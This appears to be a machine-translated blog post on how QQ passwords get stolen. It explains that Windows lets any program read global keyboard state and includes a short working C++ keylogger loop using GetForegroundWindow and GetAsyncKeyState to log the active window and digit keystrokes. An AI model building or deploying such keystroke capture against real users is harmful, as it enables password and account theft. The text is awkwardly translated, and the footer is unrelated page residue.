<> network security -QQ Password stealing

<>
I don't know if you have such an experience , It's everyone's qq It's like someone's logged in , Send to friends in groups , News of borrowing money from friends , Some of my friends were cheated out of a lot of money , How do others know their own password ?

*
* There are many ways to steal account and password , Here's the most common one
*
* Do you have qq Is the security center really safe ?
*
* No , You're wrong ,window The operating system itself sold you out , Let's take a look at the following picture

<>
When I press each number , The terminal gets every number , what qq Security Center , It doesn't work , Other people get your keyboard input directly , Get your password directly , People need money, not you qq

*
<>
Your keyboard is like a public place in the operating system , It's public , Every application can use , It's like sharing a bike , This person uses the next person to continue to use, but he doesn't belong to your own management, but belongs to windows Operating system to manage , So we went straight to windows The operating system obtains the input of the keyboard

*
<> That's why we look at this line of code

*
<>HWND window = GetForegroundWindow();

*
<> Get current window ,windows Function interface provided , When the user opens that application , We directly windows Get keyboard keys

*
* GetAsyncKeyState
<> Get the character code corresponding to the keyboard

<> Here is a simple code snippet
#include <iostream> #include <Windows.h> #include <string> HWND PerWindow =
NULL; int main(void) { char title[256]; while (1) { HWND window =
GetForegroundWindow(); // Get current window if (window != PerWindow) { PerWindow = window;
GetWindowText(window, title, 256); printf("\r\r The currently active window is :%s\r\n", title); } for (
int key = '0'; key <= '9'; key++) { if (GetAsyncKeyState(key)&0x8000) { printf(
" Current keyboard input : %c\n", key); while (GetAsyncKeyState(key) & 0x8000) { Sleep(1); } } } }
return 0; }

Technology
©2019-2020 Toolsou All rights reserved,
python in switch_to_alert Usage of exercises 11-5 Output string at specified position Vue Transfer parameters and receiving of page Jump ( Essence )2020 year 6 month 26 day C# Class library Loop execution help class Centos7 lower mysql8.0 To install and change the initial password ;Hack Bar 2.1.2 Press F9 No response Result Encapsulation of return result information mybatis Return result mapping of series ( Essence )2020 year 7 month 21 day ASP.NET Core Use of global filters use PyMC3 Bayesian statistical analysis was performed ( code + example )